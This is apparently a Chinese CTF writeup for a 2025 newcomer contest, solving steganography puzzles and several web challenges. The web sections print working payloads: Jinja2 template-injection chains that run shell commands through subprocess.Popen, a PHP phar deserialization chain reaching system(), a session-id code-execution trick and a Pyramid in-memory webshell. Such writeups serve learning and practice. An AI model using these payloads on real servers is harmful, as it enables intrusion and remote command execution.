跟w8nn9z和1n1t组队打的,这次其他方向也是硬扛出了一点……

很好的新生赛,使我开始学web()

Writeup部分

Writeup

复现部分

Misc

你能发现图片里的秘密吗

对给的图片zsteg就能找到7z的密码

image-20250415151311939

先看一下png,发现结尾的IDAT块在上一个没填满的情况下就开始了,单独把这个IDAT块拿出来保存成png

image-20250415154312488

image-20250415154438788

看起来宽高有点问题,用puzzlesolver爆破一下正确的宽高修复一下,得到flag1

image-20250415155341328

image-20250415155420288

根据官方wp,pdf放进ps里面可以看到第二个图层,把上面那张图移开就能看到flag。但是复现网站给的附件好像有点问题,没有第二个图层。

image-20250415161327830

Web

前端Game-Plus

还是跟之前一样找到flag的路径,用CVE-2025-31486进行任意文件读取

image-20250415182429761

image-20250415182817375

前端Game Ultra

还是跟之前一样找到flag的路径,用CVE-2025-32395进行任意文件读取

这题给出了附件,从dockerfile可以看出workdir是/app,多试几次目录穿越到根目录读flag就行

image-20250415183956367

AAA偷渡阴平(复仇)

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php


$tgctf2025=$_GET['tgctf2025'];

if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\|localeconv|pos|current|print|var|dump|getallheaders|get|defined|str|split|spl|autoload|extensions|eval|phpversion|floor|sqrt|tan|cosh|sinh|ceil|chr|dir|getcwd|getallheaders|end|next|prev|reset|each|pos|current|array|reverse|pop|rand|flip|flip|rand|content|echo|readfile|highlight|show|source|file|assert/i", $tgctf2025)){
//hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi
eval($tgctf2025);
}
else{
die('(╯‵□′)╯炸弹!•••*~●');
}

highlight_file(__FILE__);

实际上仍然是无参rce,用session_start启用sessionid,然后把恶意代码写在sessionid里就行

image-20250415192352015

image-20250415192422174

直面天命(复仇)

前面都跟直面天命那题一样,只不过这里aazz路由是直接给出的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import os
import string
from flask import Flask, request, render_template_string, jsonify, send_from_directory
from a.b.c.d.secret import secret_key

app = Flask(__name__)

black_list=['lipsum','|','%','{','}','map','chr', 'value', 'get', "url", 'pop','include','popen','os','import','eval','_','system','read','base','globals','_.','set','application','getitem','request', '+', 'init', 'arg', 'config', 'app', 'self']
def waf(name):
for x in black_list:
if x in name.lower():
return True
return False
def is_typable(char):
# 定义可通过标准 QWERTY 键盘输入的字符集
typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace
return char in typable_chars

@app.route('/')
def home():
return send_from_directory('static', 'index.html')

@app.route('/jingu', methods=['POST'])
def greet():
template1=""
template2=""
name = request.form.get('name')
template = f'{name}'
if waf(name):
template = '想干坏事了是吧hacker?哼,还天命人,可笑,可悲,可叹
Image'
else:
k=0
for i in name:
if is_typable(i):
continue
k=1
break
if k==1:
if not (secret_key[:2] in name and secret_key[2:]):
template = '连“六根”都凑不齐,谈什么天命不天命的,还是戴上这金箍吧

再去西行历练历练

Image'
return render_template_string(template)
template1 = "“六根”也凑齐了,你已经可以直面天命了!我帮你把“secret_key”替换为了“{{}}”
最后,如果你用了cat,就可以见到齐天大圣了
"
template= template.replace("天命","{{").replace("难违","}}")
template = template
if "cat" in template:
template2 = '
或许你这只叫天命人的猴子,真的能做到?

Image'
try:
return template1+render_template_string(template)+render_template_string(template2)
except Exception as e:
error_message = f"500报错了,查询语句如下:
{template}"
return error_message, 400

@app.route('/hint', methods=['GET'])
def hinter():
template="hint:
有一个aazz路由,去那里看看吧,天命人!"
return render_template_string(template)

@app.route('/aazz', methods=['GET'])
def finder():
with open(__file__, 'r') as f:
source_code = f.read()
return f"
{source_code}
", 200, {'Content-Type': 'text/html; charset=utf-8'}

if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)

在上面一题中我们可以读/a/b/c/d/secret.py得到secretkey是直面天命

再看代码,天命被替换成了,所以在天命和难违之间写我们的payload就行。

先看一下有哪些类可以用

1
[]["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]["\x5f\x5fsubclasses\x5f\x5f"]()

image-20250415202837946

这里我们用subprocess.Popen这个类,其下标为351,先看一下flag叫什么

1
[]["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]["\x5f\x5fsubclasses\x5f\x5f"]()[351](['ls','/'],stdout=-1).communicate()[0]

image-20250415203751321

1
[]["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]["\x5f\x5fsubclasses\x5f\x5f"]()[351](['cat','/tgffff11111aaaagggggggg'],stdout=-1).communicate()[0]

image-20250415204932832

什么文件上传(复仇)

前面的部分跟原来那题还是一样,读robots.txt,爆破出可以上传的文件后缀名是atg,读class.php

class.php源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<?php
highlight_file(__FILE__);
error_reporting(0);
function best64_decode($str)
{
return base64_encode(md5(base64_encode(md5($str))));
}
class yesterday {
public $learn;
public $study="study";
public $try;
public function __construct()
{
$this->learn = "learn<br>";
}
public function __destruct()
{
echo "You studied hard yesterday.<br>";
return $this->study->hard();
}
}
class today {
public $doing;
public $did;
public $done;
public function __construct(){
$this->did = "What you did makes you outstanding.<br>";
}
public function __call($arg1, $arg2)
{
$this->done = "And what you've done has given you a choice.<br>";
echo $this->done;
if(md5(md5($this->doing))==666){
return $this->doing();
}
else{
return $this->doing->better;
}
}
}
class tommoraw {
public $good;
public $bad;
public $soso;
public function __invoke(){
$this->good="You'll be good tommoraw!<br>";
echo $this->good;
}
public function __get($arg1){
$this->bad="You'll be bad tommoraw!<br>";
}

}
class future{
private $impossible="How can you get here?<br>";
private $out;
private $no;
public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;

public function __set($arg1, $arg2) {
if ($this->out->useful7) {
echo "Seven is my lucky number<br>";
system('whoami');
}
}
public function __toString(){
echo "This is your future.<br>";
system($_POST["wow"]);
return "win";
}
public function __destruct(){
$this->no = "no";
return $this->no;
}
}
if (file_exists($_GET['filename'])){
echo "Focus on the previous step!<br>";
}
else{
$data=substr($_GET['filename'],0,-4);
unserialize(best64($data));
}
// You learn yesterday, you choose today, can you get to your future?
?>

这里是用phar做到反序列化,可以看到这里用了存在漏洞的file_exists函数。

构造链子的方式大体与上题一致。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class yesterday {
public $study;
public function __construct() {
$this->study = new today();
}
}

class today {
public $doing;
public function __construct() {
$this->doing = new future();
}
}

class future {
public function __toString() {
return "win";
}
}
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$a=new yesterday();
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

由此生成phar.phar文件,将后缀名改为.atg,然后上传

image-20250416200453131

利用phar协议不看后缀名的特性,在filename处触发反序列化,post传参wow执行命令,这次flag在环境变量里

image-20250416200818751

熟悉的配方,熟悉的味道

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pyramid.config import Configurator
from pyramid.request import Request
from pyramid.response import Response
from pyramid.view import view_config
from wsgiref.simple_server import make_server
from pyramid.events import NewResponse
import re
from jinja2 import Environment, BaseLoader

eval_globals = { #防止eval执行恶意代码
'__builtins__': {}, # 禁用所有内置函数
'__import__': None # 禁止动态导入
}


def checkExpr(expr_input):
expr = re.split(r"[-+*/]", expr_input)
print(exec(expr_input))

if len(expr) != 2:
return 0
try:
int(expr[0])
int(expr[1])
except:
return 0

return 1


def home_view(request):
expr_input = ""
result = ""

if request.method == 'POST':
expr_input = request.POST['expr']
if checkExpr(expr_input):
try:
result = eval(expr_input, eval_globals)
except Exception as e:
result = e
else:
result = "爬!"


template_str = 【xxx】

env = Environment(loader=BaseLoader())
template = env.from_string(template_str)
rendered = template.render(expr_input=expr_input, result=result)
return Response(rendered)


if __name__ == '__main__':
with Configurator() as config:
config.add_route('home_view', '/')
config.add_view(home_view, route_name='home_view')
app = config.make_wsgi_app()

server = make_server('0.0.0.0', 9040, app)
server.serve_forever()

根据这篇文章写入pyramid框架的内存马

payload

1
config.add_route('shell', '/shell');config.add_view(lambda request:Response(__import__('os').popen(request.params.get('1')).read()),route_name='shell');app = config.make_wsgi_app()

image-20250418170240811

image-20250418170307560